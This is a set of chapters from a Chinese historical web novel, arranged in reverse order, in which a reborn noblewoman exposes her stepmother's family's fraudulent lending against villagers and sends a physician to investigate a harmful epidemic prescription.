陆贯轩抬手给了方氏一记耳光,打断了她的辩解,“那也是你娘家人没管束好底下人!若此事真的是他们所为,我定饶不了你!” 方氏被打得偏过脸去,半边脸迅速肿了起来,耳朵一阵嗡嗡地响。 萧晏辞收回了脚,“这么看来,陆大人对此事是毫不知情?” 陆贯轩抬手抹了把额上的汗,“瑾王明鉴,下官是真的半个字都不知道!” “来人,去把方家大老爷请来,当面对质。” 百姓发出一阵嗡嗡议论,时不时朝方氏投去异样的目光。 方氏安慰自己,只要哥哥不承认,一切就还有转机! 陆映溪被这番变故吓得手心发凉,后背也冒出了冷汗。 好端端的,事情怎么变成了这样? 她能感受到周遭人各异的目光,面皮烧得通红,恨不得找个地缝钻进去! 方家大老爷方成器很快就被带来了,他的身形与胡勇如出一辙,大腹便便,满身肥肉。 方家只是不入流的小户人家,方老太爷方志远一辈子就当了个正五品通政司参议。 大儿子方成器那是半点都不成器,近些年靠方氏接济,这才慢慢做了些赚钱的营生,养出了一身的肥肉。 二儿子方成才中了秀才便再无寸进,方志远找门路给他捐了地方小官,一直在任上没回来。 最有出息的便是三儿子方成川,时任四品太常寺丞,官职比方志远还高。 最擅读书的是庶子方成钰,考上二甲进士十七名,任翰林院编修,多年也未曾挪过位置。 来时,方成器就知道了事情始末,早吓得两股战战,一跪下就开始喊冤。 “冤枉啊,瑾王殿下,草民冤枉!这钱庄的确是草民经营,但这契书与草民无关,草民不知道是怎么回事啊。” 萧晏辞反问,“这就奇了怪了,这些契书都是从你的钱庄搜出来,上面盖的也是你钱庄的印章,你一句不知道就想抵赖不认账?” 方成器伸手一指,“是胡勇,定是胡勇干的!钱庄的事宜草民素来交由胡勇打理,定是他背着草民胡作非为!” 胡勇瞪大了眼,“老爷,这件事分明是你授意的,小的全都是听命行事啊,你怎么能翻脸不认账?” “胡说八道!老爷我又不缺那点银子,怎会冒着这么大的风险干这样的勾当?” 第87章 契书 小虎子看到萧晏辞,狠厉的表情一僵,眼底多了一丝做错事的慌乱和胆怯。 “小虎子,怎么是你?” “瑾王殿下,您,您记得我?” 萧晏辞蹲下身来,与他平视,“当然记得,你每天早上都起来帮忙扫雪,我帐子前的雪你一天要扫十几次,本王还想着要找机会好好赏你呢。” 小虎子的眼眶瞬间红了。 “谁欺负你了?告诉本王,本王替你出气。” 听了这话,小虎子“哇”地一下哭了出来,指着陆贯轩,一边哭一边告状,“他,他强占我们家的良田,害死我爹娘,还逼死了很多村人,他是大坏蛋!” 萧晏辞的面色沉了下去。 这时,一个身形消瘦的中年男人一瘸一拐地奔来,他的身后还跟了好几年轻男人,一个个都瘦成了皮包骨。 为首的瘸腿男人拉过小虎子,“小虎子,你怎么跑到这里胡闹?” “李叔,我不是胡闹,我是来讨回公道的!” 李叔声音压得极低,“傻孩子,没用的,官官相护,狼狈为奸,我们这些小老百姓的命根本就不是命。你忘了村长是怎么死的?忘了你爹是怎么死的?还有李叔这双腿,又是怎么被他们打断的?” 说到最后,他眼底盛满了沉痛。 小虎子拔高声音,“瑾王殿下不一样,他会替我们伸张正义的!” 李叔看着萧晏辞,眼里依旧盛着怀疑与不信任。 这段时间,萧晏辞为他们做了很多事,是个一心为民的好人,但他依旧没法全然信任对方。 看着这些人,方氏紧张得手心濡湿,陆贯轩也急红了脸。 “瑾,瑾王殿下,这,这都是误会,误会啊,下官清清白白,绝没做过鱼肉百姓之事!” “陆大人所言极是,本王自然不会听这孩子的一面之词。” 陆贯轩闻言,松了口气。 紧接着萧晏辞话锋一转,“同样,陆大人的一面之词也作不得数。” 陆贯轩:…… “此事本王不知也就罢了,既然遇上了,自然要查个清楚,也好还陆大人一个清白。” 眸光一转,萧晏辞看向李叔等人。 “今日本王在此,吏部尚书邢大人,礼部尚书齐大人等朝中众臣都在,还有这么多百姓们也都在。这么多双眼睛,这么多双耳朵,任何人都没有徇私包庇的机会。只要事情属实,本王定会上达天听,替你们主持公道。” 李叔等人心底浮起波澜,眸中再次升起希冀。 方氏赶忙招手唤来心腹,附耳低声交代一番,心腹立马脚步匆匆地走了。 陆知苒将这一切尽收眼底,她朝翠芙投去一记眼神,翠芙会意,也转身离开。 众人齐齐跪下,李叔哽咽着开口。 “那年,村里收成不好,缴了粮税之后就所剩无几,大家过得紧巴巴的。这时,有钱庄到村里放贷,说是借一千文第二年还二两白银。我们盘算一番,这个数额不大,来年能还得起,就借了。” “没想到,到了第二年,他们拿出的契书却变成了二十两!我们拿不出银子,对方就让我们拿田契去抵,不然,就把我们扭送官府!” “我们不愿意,村长去县里告状,被县令乱棍打死。我到了京城,想找京城的官老爷主持公道,但我连官老爷的面都没见着,还挨了一顿板子,在床上养了大半年才勉强保住一条命,但这条腿也废了。” “为了活命,我们只能把田产抵了出去。没了田地,我们连饭都吃不饱,好些人都活活饿死。这次雪灾,若非朝廷搭建收容所,我们全村人定要冻死了!” 随着他的讲述,四周静得落针可闻,众人脸上俱是震惊与愤怒。 萧晏辞眸底笼上寒霜,周身气场低得可怕。 “你可有证据?” 李叔在怀里摸索了好一阵,才哆哆嗦嗦地摸出一个油纸包,油纸包包了一层又一层,里面放着几张皱巴巴的契书。 “他们设计把我们当初签订的契书都骗走了,这是我留了个心眼,悄悄留下来的。这上面白纸黑字,写得清清楚楚明明白白,就是二两白银!可后来的这份契书上,却变成了二十两白银!他们奸猾狡诈,欺负我们乡下人目不识丁,把我们骗得团团转!” “我们一辈子土里刨食,田地是我们赖以生存的根本,可他们连我们的田地都要骗走,这分明就是要我们的命啊!” 说到最后,李叔已是激动得双目赤红,哽咽不已。 小虎子一双眼睛死死盯着陆贯轩,像凶恶的狼崽子。 萧晏辞缓缓打开了那皱巴巴的借条。 “今借汇通钱庄一千文铜板,翌年二月需还白银二两。新林村李大柱。” 再看下一张,赫然是一样的内容,只是“白银二两”变成了“白银二十两”。 继续往下翻。 “今欠汇通钱庄二十两白银,无力偿还,故以家中五亩良田抵押。新林村李大柱。” 三张契书皱巴巴的,纸张早已泛黄,边角也被磨得破损,便如同他们残破飘摇的命运。 萧晏辞的指关节一阵阵泛白,周身怒意沉得可怕。 “汇通钱庄?” 李叔抹了一把眼角,重重点头,“是!就是汇通钱庄!他们掌柜叫胡勇,当初就是他到我们村上放贷,忽悠我们签下契书。” 萧晏辞朝贺昀示意,“去,把人带来。” 贺昀领命而去。 方氏的心一下提到了嗓子眼。 她已经第一时间派人去钱庄通风报信,又给哥哥传话,让他赶紧把该销毁的证据都销毁了。 希望一切还来得及! “诸位大人也都看看。” 三张契书,在一众围观的官员手里传阅,最后传到了陆贯轩手中。 陆贯轩捏着契书,语气急切,“下官与这汇通钱庄没有半分干系啊!那什么胡勇,下官也根本不认识!” “陆大人别急,真的假不了,假的也真不了,本王自会还你一个公道。” 陆贯轩心头莫名升起一股不大好的预感。 他只能安慰自己,他没做过这事,脏水定然泼不到自己身上来。 不过两炷香时间,贺昀回来了。 “殿下,属下赶到时,钱庄掌柜胡勇正打算销毁契书,属下把人和契书一并带回来了。” 一个身形肥胖,留着八字胡的男人被带了上来,他面如菜色,硕大的身子抖若筛糠。 第86章 哪儿来的野孩子 萧晏辞努力端着表情,“你真的要去西平?” 蒋南笙也正了神色,“没错。平乐县主不是无的放矢之人,此事真相如何,我得亲自去查清楚。” “阿笙一走,我连个说话的人都没了。” 萧晏辞:“像今日这种宴会,你多参加几回,多的是莺莺燕燕来陪你说话。” 萧宝珠翻白眼,“那是陪我说话吗?那是给我拍马屁,无聊死了。” 蒋南笙:“那你便给平乐县主发请帖,她定能投你的缘。” 萧宝珠傲娇地哼了一声,“她倒是还行,看得顺眼。方才我还偷听到她和邢二小姐说话。” 她将那番话学给他们听,蒋南笙不禁感叹,“平乐县主心性之豁达坚毅,远超常人。” 萧晏辞眸光幽微,心尖涟漪浮动。 楚翊安,真瞎。 用过午膳,赏梅宴散了,宾客依次离开。 陆贯轩喝得微醺,满面红光。 所有人都对他百般奉承,将他捧得飘飘然,便是邢大人对他也态度亲和许多。 “陆大人养了个好女儿啊,日后本官还得多向你取一取经。” 陆贯轩心中得意极了,嘴上却是连道“哪里哪里。” 眼见要送到门口了,陆贯轩旁敲侧击升迁之事,邢大人笑道:“陆大人的确该挪一挪了。” 陆贯轩大喜,悬着的心彻底放下。 多年夙愿终于要实现了! 那头,女客们也往门口来,陆知苒将二人相谈甚欢的场面尽收眼底。 她上前,“父亲,女儿恭喜您即将得偿所愿了。女儿说过,会给您送上一份大礼,就绝不会食言。” 陆贯轩嘴角笑意压都压不住,心中简直熨帖到了极致。 苒姐儿果然想着自己这个父亲,这份大礼送得可真是合心合意,满意极了。 再想到方氏那番挑拨之言,他心中便生了几分不喜。 差点他就信了方氏那话,误会了苒姐儿。 众人与主家一一道别,便要登上马车离开。 陆贯轩正待登车,一个孩童大喊着“狗官”,似狼崽子似的从斜侧方猛地冲出来,一把扑到他身上,陆贯轩摔了个大马趴。 方氏惊呼一声,“老爷!您怎么样?” 在自家门口生了变故,邢世杰自然不能坐视不理。 “快,把人抓起来!陆大人,你没事吧?” 陆贯轩本就喝得有些上头,摔了一跤,整个人都晕乎乎的,半晌没反应过来。 那孩童头发乱糟糟,脸上黑漆漆,穿着的是收容所发的新棉衣,棉衣有些大,越发衬得他身形瘦弱。 邢家的护卫一手就将他拎了起来,他像小鸡仔似的奋力挣扎。 “你是何人?何故冲撞陆大人?” 那孩子嗓门奇大,吼得半条街都听了个一清二楚。 “他是狗官,是贪官,设局强占了我家的良田,还,还把我姐姐抓去给他当小妾!我爹想讨回公道,被你们的人活活打死,我娘哭瞎了眼,没多久也跟着去了,我家就剩下我一个人!是你,是你害得我没有了家!” 原本打算走的宾客,听了这番动静都不走了,全都围上来看热闹。 陆知苒一直没动,此刻眉眼微垂,嘴角勾了勾。 陆贯轩的醉意瞬间吓醒。 “你,你胡说八道些什么!我陆某行的端坐的正,从未做过这样丧良心的腌臜事!” 那孩子朝他的方向狠狠“呸”了一声,“你当然不会亲自去做这些事,你一声吩咐,多的是狗腿子帮你献殷勤。” 方氏蹙眉,哪来的野孩子? “凡事要讲证据,你口口声声说我家老爷害得你家破人亡,可有证据?若无证据,那就是诬告,我现在就能把你扭送官府去!” 方氏镇定从容的态度让陆贯轩被混沌的思绪也清醒几分。 “对,你拿得出证据吗?空口白话就想污蔑我,简直是胆大妄为!” 那孩子扯着嗓子喊,“我,我们家在新林村,村里很多良田都被你们强占了去,只要把我们村人喊来对质,就能知道我没说谎!” 方氏隐约觉得,新林村这个名字有些熟悉。 陆贯轩怒斥,“什么新林村旧林村,我都没听过,你说的那些事也与我没有半分相干!邢大人,你可别听这小叫花子胡言乱语!我身正不怕影子斜,禁得起调查!” 眼看他升迁在即,偏偏冒出这么个小叫花子,要是邢大人信了,那他先前的努力就全都白费了! 方氏跟着开口,“对啊,我家老爷是一心为民的好官,怎会做这样的事?此事定有什么误解。” “不是误会,那人口口声声称自己是户部侍郎陆大人的人!我还记得那人的名字,叫胡勇,长得肥头大耳,我见了他,定能一眼认出来!” 听了这名字,方氏的表情僵住,心头猛地一紧。 这些年,她借着陆知苒的铺子赚了不少银子,拿了一部分回娘家,让哥哥做些营生。 哥哥开了家钱庄,那钱庄的管事便叫胡勇。 哥哥做事蛮横,没少干欺凌百姓之事,方氏只当是寻常小摩擦,从未放在心上。 不曾想,他们手里竟沾了人命,此事还被一个小屁孩闹到了明面上来! 陆贯轩并未听说过这个名字,“邢大人,你听听,这小叫花子光凭一个名字就想当证据,给我定罪,我简直是比窦娥还冤啊!” 方氏捏着帕子,面上挤出了不忍之色。 “这孩子穿得这般单薄,看上去怪可怜的。孩子,我先带你去好好吃一顿,再洗漱一番,你受了委屈,我们定会替你讨回公道。” 方氏语气放得很柔和,试图让这孩子减轻敌意。 他朝方氏狠狠“呸”了一声,“你当我三岁小孩啊,还想用这样的手段来哄骗我?我若跟你走了,只怕就再也见不到明天的太阳了!” 方氏心底暗暗着急,不能再让这孩子继续胡说八道,不然事情闹大,怕是真的兜不住了。 她还想再继续遮掩,一道声音传来。 “这是怎么一回事?” 萧晏辞似刚听到动静,满脸疑惑地看着众人。 那侍卫赶紧把人松开了。 陆知苒诧异地看向萧晏辞,他怎么也在? 好似自己每次设局干大事,他都刚好在。 萧晏辞自府内走出,经过陆知苒身前,她又嗅到了那股清淡的,若有若无的松木香。 陆知苒怔住,目光不自觉追随他。 难道…… 第85章 谁家醋坛子打翻了? 蒋南笙面色一沉,萧宝珠骇得瞪大了眼。 “她,她就是靠这方子立下的大功?” “没错。” 萧宝珠气得涨红了脸,“她这是罔顾百姓性命,是欺君!” 蒋南笙眸底燃起怒意,为医者,当心怀仁慈,若不然,与杀人的刽子手又有何区别? 不管赵书宁自己知不知道这方子有问题,只要这方子出自她之手,她就难辞其咎。 陆知苒看着蒋南笙,“蒋公子,我怀疑,此次西平百姓的病症与这方子有关。为验证我的推测,我曾暗中寻访过很多医者,都佐证了这一点。今日,我也想听听蒋公子的见解,替我解惑一二。” 蒋南笙面露凝重,“我没有亲自给病患诊过脉,也无法断言两者之间有必然联系。我只能说,单从病理和病症上推断,两者的关联性很大。” 她没有把话说死,但作为她的好友,萧宝珠岂会不明白她的意思? 愤怒在胸中燃烧,烧得她几乎要炸了。 “好个赵书宁,为了立功不惜用这般阴损的手段,她就不怕事态败露被问责吗?” 陆知苒眼底一片冷意,“事情若当真败露,她也有替罪羔羊。” “方子是她开的,她还能否认不成?” 陆知苒幽幽道:“方子虽是她开的,但,药材却是太仓商行免费提供的。若有心人刻意引导,我难辞其咎。” 前世,楚翊安指责赵书宁医术不精,留下隐患,赵书宁便阴恻恻地说:“若当真事发,陆知苒就是我的替罪羊,是她的太仓商行捐赠过期的药材,才导致了这番后果。” 楚翊安听了,竟也是默认的态度。 后来,此事不曾爆发,太仓商行自然也没受牵连。 而赵书宁踩着西平百姓的尸身两次立功,成为了享誉大齐的女神医。 这辈子,她不会让赵书宁有立功的机会,更不能让她把这盆脏水往自己头上泼。 萧宝珠倒吸一口凉气,“好歹毒的算计。” “蒋公子,你的医术远超赵书宁,你若亲去西平,定能为西平百姓治好隐疾,避免更严重的祸端。你又是蒋老太医最得意的孙儿,代表的是蒋家,你呈禀给皇上的罪证有分量,有信服力。此事,你是最佳人选。” 蒋南笙的眼底已然有了动容。 萧宝珠心里不大舒服,“你倒是会安排,自己动动嘴皮子就,让阿笙去替你当马前卒。” 陆知苒诚恳道:“我承认我有私心,但此举,也是在救西平百姓于水火,对蒋公子也未必没有好处。” “对阿笙能有什么好处?” 陆知苒深深地看着蒋南笙,“蒋公子,凡事不破不立。要打破现有僵局,便需下猛药。机会难得,不可错过。” 在萧宝珠没注意的地方,她轻轻比划了一个动作。 她写的是“女”字。 蒋南笙心头猛地漏跳一拍。 二人久久对视,一切似都在不言中。 “你怎会……” 陆知苒朝她露出一抹笑,“蒋公子声名远扬,小女子对你早有耳闻,心生仰慕,是以一直多有关注。” 萧宝珠:……不是,说正事就说正事,怎么话锋突然就变了?当她不存在呢? 屏风后,传来一道轻微的咔嚓声,像是什么东西被捏碎了,只是无人留意。 像是下定了什么决心,蒋南笙长长吐出一口气。 “好,此事我答应了,我必全力以赴。” 陆知苒说得对,不破不立。 她是蒋家的六小姐,不是六少爷,她要向祖父证明,女子亦不比男子差,好医术,不分男女。 陆知苒露出如释重负的笑,“多谢蒋公子!” 看着两人相视而笑的模样,萧宝珠莫名有种被排挤了的感觉。 她重重地哼了一声,“别人让你去就去,也不与我商量!” 蒋南笙柔声道:“宝珠,你知道我的,遇到病患,我都不会犹豫。我也知道,你定会支持我。” 萧宝珠要气死了,“你这榆木脑袋,脑子里除了医术还有什么?” 蒋南笙笑着朝她眨眨眼,“还有你啊。我知道你在京城等我回来,哪怕遇到再大的危险,我都定会全须全尾地回来。” 这是从小到大一直护着自己,珍视自己的朋友啊,她的分量,丝毫不比医术的分量低。 萧宝珠眼眶一下就热了。 “你自己说的,你要是敢受半点伤回来,我定不饶你!” “遵命。” 看着二人,陆知苒心头升起一股深深的羡慕。 她们俩真幸运啊,能遇到这样一个一心一意为对方着想的挚友。 陆知苒伸手入怀,拿出一个东西。 那是一把金钥匙,做工精巧,环扣里侧刻着一个小小的“陆”字,不仔细看很容易忽略。 “我已命管事采买了荆芥,飞廉,石青子等几味药材,若有所需,可持此信物至西平城南的春来药铺找一个叫秦安的人,望能略尽绵力。” 蒋南笙也没推辞,直接接了过来。 陆知苒朝她服了一礼,“臣女代西平百姓多谢蒋公子大义,祝蒋公子此行一路平安,布帆无恙。” 陆知苒离开后,屏风后这才走出来一个人。 萧宝珠眼珠子险些瞪出来,“七皇兄,你怎么在这儿偷听?” “是我先来的,你们进来不检查周围就开始密谋,还能怪我?” 萧宝珠:…… “也幸亏我是自己人,若是换了旁人,你们的老底都被别人揭了。” “邢家又没给你下帖子。” 邢家的确没给他下帖子,当然也没给其他皇子下帖子,他这是不请自来。 邢家人见了他都战战兢兢,唯恐他又反手掏出一道什么圣旨来。 但他们着实想多了,他这回不是来宣旨的,是来看戏的。 他的人查到了一桩十分有意思的事,他这人最爱凑热闹,自然不能缺席。 只是这会儿,他对那场大戏没了半点期待,心里头哪哪儿都不得劲。 “蒋家小神医,果然名声远扬,仰慕者颇多啊。” 萧晏辞伸手,一把将蒋南笙手里那枚金钥匙拿了过来,放在手中把玩。 “这信物也精巧得很,当个定情信物也完全使得。” 蒋南笙眼神古怪地盯着他,忽而明白了什么,抬手在鼻子前扇了扇。 “咦?我怎么闻到好大一股醋味,是谁家醋坛子打翻了?” 萧晏辞的表情一顿。 萧宝珠用力吸了吸鼻子,“哪儿?我没闻到啊,这儿距离邢家的后厨挺远的,谁会把醋坛子放在这儿啊?” 蒋南笙一本正经地看着萧晏辞,“阿辞你闻到没有?” 萧晏辞:…… “你鼻子有问题吧!” 蒋南笙促狭一笑,“哦,那想来是我闻错了吧。” 第84章 亮出底牌 陆知苒眸底染上晦暗。 沉默片刻,她缓声开口。 “女子并非一定要依附男人而活,我名下有绣坊和胭脂铺,有很多适合女子的活计,若有我能帮得上忙的地方,可来寻我。” 邢初雪先是诧异,旋即眼神更亮了,眸底的感激满得几乎能溢出来。 “我替表姐谢过县主!” “世间女子多艰难,若我能帮到一个深陷苦难之人,也算是功德一件。” 若前世,有人能拉她一把,她的结局或许不会那般凄凉。 二人正说着话,树丛中忽而传来一阵窸窣响动。 邢初雪怒喝,“是谁鬼鬼祟祟地躲在那里?九,九公主?” 萧宝珠从树丛后走了出来,掩饰性地轻咳几声。 “我刚好路过,方才什么都没听到。” 她也收到了邢家的请帖,闲得无聊就来了。 但她来得晚,行至此处刚好听到熟悉的说话声,出于好奇,她让丫鬟噤声,自己偷偷摸摸地偷听起来。 偷听也就算了,还被抓包。 得亏她脸皮厚,换个人都无地自容了。 “没事我先走了哈。” 她转身就想溜,陆知苒急忙喊住她。 “公主请留步,恕臣女冒昧,有一事想请您帮忙。” 刚刚偷听被抓包,她也不好拒绝,“何事?” 陆知苒看了邢初雪一眼,邢初雪十分识趣地找借口离开了。 四下无人,陆知苒这才开口,“臣女有事,想见蒋公子一面。” 陆知苒要找的是蒋南笙,不是胡桃大夫。 她不方便贸然求见,需要一个中间人。 萧宝珠再适合不过。 萧宝珠很诧异,“你找阿笙做什么?” “此事有些复杂,三言两语恐难说清,若公主好奇,待会儿亦可旁听。” 蒋南笙与萧宝珠之间没有秘密,她告诉了蒋南笙,就相当于告诉了萧宝珠,自然没有藏着掖着的必要。 “她今日也来了,我这便差人去唤她。” 萧宝珠从不刻意掩饰自己与蒋南笙的亲厚关系,在世人眼中,蒋南笙早就是内定的九驸马,不过是时间问题罢了。 邢老太爷的卒中已经大好,但身体底子到底亏了大半,这个寒冬一直在屋中养着。 今日蒋南笙赴宴,邢家人便请她给邢老太爷诊了一回脉。 诊了脉,蒋南笙便让丫鬟指了个幽静的小院躲闲,没再回到前院应酬。 “你怎么躲在这里?真是叫我好找。” 萧宝珠咋咋呼呼的声音传来,蒋南笙清冷淡漠的眉眼笼上笑意。 待见到她身后跟着的陆知苒,她的笑意微敛,换上一副端方之态。 “公主寻我何事?” 萧宝珠指了指身后之人,“不是我,是她寻你有事。” 蒋南笙微讶,“不知平乐县主有何吩咐?只要在下能做到,定不推辞。” 萧宝珠连打了好几个喷嚏,“外面太冷了,快,有话到屋里说。” 说完她就抱着双臂,小跑着往最外侧一间开着门的厢房而去。 蒋南笙眉峰微微动了动,没说什么,也抬步跟上。 蒋南笙是贵客,邢家安排招待她的厢房自是不差,屋中熏香茶水,炭火暖炉,一应俱全。 进到屋内,几人身上立时暖和起来。 蒋南笙状似随意地朝屏风处瞟了一眼,很快收回目光。 陆知苒鼻尖嗅到一股淡淡的,若有若无的松木香,清冽好闻,又带着股莫名熟悉。 可厢房中的熏香,并非松木香。 抛开无关紧要的念头,陆知苒直入主题,把事先准备好的书信递上。 “这是来自西平的书信,请蒋公子过目。” 蒋南笙拆开,萧宝珠也凑了过去。 看罢,蒋南笙露出几分凝重之色,“平乐县主是觉得西平的这场疫病不简单?” 陆知苒郑重点头。 “没错。目前这些病症看上去都不严重,但是牵涉范围广,且出现了集中爆发的趋势,若不及时采取措施,只怕会引发更严重的后果。” 萧宝珠小声道:“这,会不会有些杞人忧天了?这信里写了没什么人员伤亡呀,以往的疫病不都会死很多人的吗?” 蒋南笙温声解释,“自古疫病都不是一日爆发,前期必然经过了一段时间的酝酿和发酵。朝廷收到消息之时,疫病已发展到十分严重的地步了。” 萧宝珠似懂非懂地点头。 “平乐县主,你是希望我能去一趟西平,平复此疫?” “没错,我早就听闻蒋公子乃少年天才,于医术上天赋卓绝,更有常人不及的刻苦钻研,为了获取从医经验,你愿意舍弃京城的安逸生活,亲自去深山采药,去寻访游医,去医治各种各样的病患。” “是以,我收到这个消息之后,第一时间便想到了你。我知道这个请求很冒昧,但唯有你,会愿意去做这件事,也唯有你,有能力去做这件事。” 蒋南笙沉吟着,一时没说话。 陆知苒的一面之词,并未能说服她。 萧宝珠蹭地站起来,生气地看向陆知苒,“我没想到你是要阿笙去送死,太过分了!” 蒋南笙将人拉住,温声开口,“宝珠,平乐县主此举是为了西平百姓,她并没有做错。如果此事当真被平乐县主料中了,那西平百姓又要经历一场劫难,羌笛也有可能趁虚而入,再犯国土。未雨绸缪,方能永绝后患。” 萧宝珠气鼓鼓的,“我是担心你的安危。” “我知道,可我这不还没答应要去吗?” 蒋南笙看向陆知苒,“平乐县主,你一心为了西平百姓着想,我十分敬佩。但西平路远,我不可能凭借你的一面之词就劳师动众地前去。” 陆知苒亮出了自己的底牌,“蒋公子再看看这张方子有没有问题。” 蒋南笙接过,越看眉头蹙得越紧。 “此方可治疗腹泻,疟疾等症,但用药过于刚猛,虽能立竿见影,但会损及病患肺腑,伤及根本。后遗之症不会立竿见影,但病灶已埋在体内,迟早会爆发。” 她心中升起了一个不大好的猜测,“这是哪来的方子?” 陆知苒缓缓吐出一句话。 “此乃赵书宁在西平治疫时所用的方子。” 前世,她偷听到楚翊安和赵书宁的争执,隐约猜到了赵书宁的方子有问题。 她苦心筹谋,终于把方子偷到手。 重生之后,她第一时间默出此方。 七皇子是她择定的盟友,而蒋南笙和萧宝珠都是七皇子一系,她对蒋南笙亮底牌,便相当于对七皇子亮底牌。 这是她的诚意。 第83章 跟你说话真有意思 钱管事也是陆知苒的人,他负责的是江南的生意。 当初她一面让石齐舟囤炭和棉花,一面便去信给钱管事,让他采买了一批药材。 此事只有身边人知道。 药材备妥了,但如何能让这批药材发挥真正的作用? 此事,唯有一人能做得到。 只是,她要如何才能见到那人? 陆知苒本还在发愁,没想到,机会很快就来了。 正月初六,邢家要办一场赏梅宴,给陆家下了帖子。 这段时间陆家的门房收到了很多帖子,独独邢家的帖子最让陆贯轩高兴。 “太好了,邢家第一次给我们下帖子,日后我们两家的关系定会越走越近。那日你们可要好好表现,切莫在别人家失了礼数。” 方氏笑着应下。 陆映溪依旧闷闷不乐的模样,“娘,我不想去。这些都是冲着陆知苒来的,到了邢家,我也只能看着她被众星拱月,有什么意思?” 方氏伸手戳了戳她的脑门,“你啊,还是太年轻了。越是如此,咱们才越是要去。她身份水涨船高,对咱们来说只有好处,没有坏处。” “陆家的女儿,哪有县主的亲妹妹来得更加有分量?有了这层身份,你的婚事就能更上一层楼。咱们这是踩着她往上爬呢。” 方氏人老成精,很快就转变了心态,开始想着如何在陆知苒身上扒拉好处了。 陆映溪咬着唇,心底生出一股难言的抵触。 寻常男子,哪里配得上她?她要嫁,也要嫁真正的人中龙凤。 转眼到了大年初六,陆家众人装扮一新,往邢家而去。 陆知苒本就生得大气浓艳,盛装之下越发美艳不可直视。 陆映溪装扮淡雅,俏脸白如玉瓷,衣袂飘飘,尽显弱柳扶风之姿。 姐妹二人站在一处,美得各有特色,一出现立马吸引了众宾客的视线。 邢夫人和一对双生女儿迎上前,热情招待。 方氏也拿出了当家主母的仪态,大方地与邢夫人交际,其他夫人小姐也上前寒暄,气氛很快活络起来。 二小姐邢初雪两眼亮晶晶地看着陆知苒,“平乐县主,你好厉害啊,我真是太佩服你了!” 她眼里的钦佩不似作假,陆知苒露出几分浅笑。 “我不过是做了自己力所能及之事罢了。” 邢初雪摇头,“你太谦虚了,你做的事便是男子都不一定做得到。” 陆映溪玩笑似的开口,“更难得的是,姐姐比一般人都家资丰厚,若不然也没有能力做下如此壮举了。” 邢初雪看向陆映溪,直言不讳,“家资丰厚也是平乐县主的本事呀,而且,如果是我,便是有这财力,也没这魄力,更没这般慷慨大气。陆二小姐有吗?” 陆映溪面色微僵,“我自然远不及姐姐。” 邢初雪一脸耿直,“既如此,就大方承认别人比你厉害,不要说些阴阳怪气引人误会的话。” 陆映溪:…… 世家贵女说话大多斯文迂回,头一回有人这般打直球,陆映溪脸上十分挂不住。 邢初樱连忙呵斥,“雪儿,不得无礼。陆二小姐,舍妹年幼,言语无状,请你不要与她一般见识。” 陆映溪一直是知书达理的大家闺秀,怎会与人红脸?心中再憋屈,也只能撑起笑脸大度揭过。 一个小插曲过后,众贵女纷纷围上来,与陆知苒套近乎,陆映溪再次被排挤在外,无人搭理。 她咬咬唇,转身,往贵妇人聚集的那边去了。 邢初雪对太仓商行之事十分好奇,一直追着陆知苒问,其他人也你一言我一语地抛出各种问题。 陆知苒回答时,她们便撑着脑袋听着,神情专注。 看着大家或羡慕,或向往,或钦佩的目光,陆知苒莫名生出一股触动。 这些姑娘生在高门,享受着优渥的生活,却也被圈在了金银打造的精致牢笼里,她们看到的,只有高墙上的一小片天空。 在她们的眼里,陆知苒看到了曾经的自己。 她经历了重生,才为自己挣来了一条不同的路,那么这些姑娘呢?如果她们想要走出后宅的方寸之地,又要付出怎样的代价? 陆知苒起身更衣,邢初雪主动替她领路。 行至无人处,邢初雪忽而问,“平乐县主,我能问你一个问题吗?” “邢二小姐请说。” “你有后悔过和离吗?” 陆知苒脸上挂着清浅的笑,“堕甑不顾,落子无悔。” 邢初雪歪头,“娘亲说,女子的宿命就是嫁人生子,你和离了,不论身居多高的位置,在世人眼里都成了弃妇,你当真无所畏惧吗?” 陆知苒反问,“他人的评价与我何干?他们只是站在道德制高点指点议论,不需要对我的人生负责,我为什么要听他们的?” 邢初雪不解,“可是那些指责你的人不仅仅是不相干的世人,还有你的至亲之人啊。” 陆知苒陷入了短暂的沉默。 “我曾经听过这么一番话。如果不能正确对待他人对你的判断,那么,他人对你的判断就是你的地狱。所以其实,你的地狱都是源于你自己的主观想法,如果你能控制改变自己的想法,就能远离地狱。只要内心足够坚定且强大,便无所畏惧。便是至亲之人,也不能成为我们的地狱。” 邢初雪看着陆知苒,眸底光芒闪耀,满是崇拜。 “跟你说话真有意思。” 陆知苒弯唇,“我亦有同感。” 邢初雪爽朗笑了起来,眉眼间俱是明媚飞扬。 “据我所知,邢二小姐尚未婚嫁?” 怎么就开始打听起和离的事来了。 邢初雪挠挠头,“我有个表姐……此事我不便多言,总之今日多谢你,我会将你的话转达给她。” 脑中的某个记忆突然被揭开。 前世,邢家出过一桩事,邢夫人的侄女被夫君打死了。 她也曾动过和离的心思,却因不被家人接纳,只能在夫家苦熬。 前世,陆知苒听说此事,生出了兔死狐悲的凄凉,还偷偷给那位未曾谋面的女子烧了一捧纸钱。 第82章 踩着她往上爬 待到六皇子登基之日,所有站错队之人,都会遭到清算。 届时,她是否还能得意起来? “父亲,儿子有要事与您商议。” 六皇子曾向他们示好,他们必须抓住这次机会成为六皇子的幕僚,决不能让六皇子就此放弃他们。 楚定峰心中有所猜测,点头。 “到书房谈。” 楚定峰率先离开,楚翊安跟上,赵书宁也抬步追上,“翊安……” 楚翊安头也没回,脚步亦不曾放慢。 赵书宁一把拉住他,“你还在怪我,对吗?” 楚翊安冷冷地看她,“我难道不该怪你吗?若非你一意孤行,我又怎会受罚?” 赵书宁高声辩解,“你难道还不信我方才的话?这件事是陆知苒精心设计的,她心机深沉,有心算计,我也是受害者!” 楚翊安怒火中烧,“我信你有什么用?你有本事让皇上相信吗?我早便警告过你,皇权不可挑战,可你却自以为是,自作聪明,最后害人害己!” 冷冷地盯着她,“这段时间你便好好在后院待着吧,不要再给侯府招惹祸端!” 撂下这话,他头也不回地走了。 赵书宁立在原地,狠狠咬唇。 失魂落魄地回到青黛阁,她呆呆地坐在椅子上,神情放空。 这条路是她自己选的,她以为是一路锦绣繁花,谁曾想却是遍地坎坷荆棘。 她当初的选择,难道错了吗? …… 大年初一,百官罢朝十日。 德丰帝接连下了几道圣旨,对此次立功的几大商行赐下恩赏,陆知苒的身份也随之公布。 百姓哗然。 陆氏商行外围满了人,每个人脸上都写满了愧疚。 “没想到陆大小姐才是真正的活菩萨,先前是我们错了,误会了她!” “对啊,陆大小姐才是真正的大好人啊,若不是她,我也买不到低价的炭,我先前还跟着打砸陆氏商铺,我真是该死。” “我们错了,对不起!” 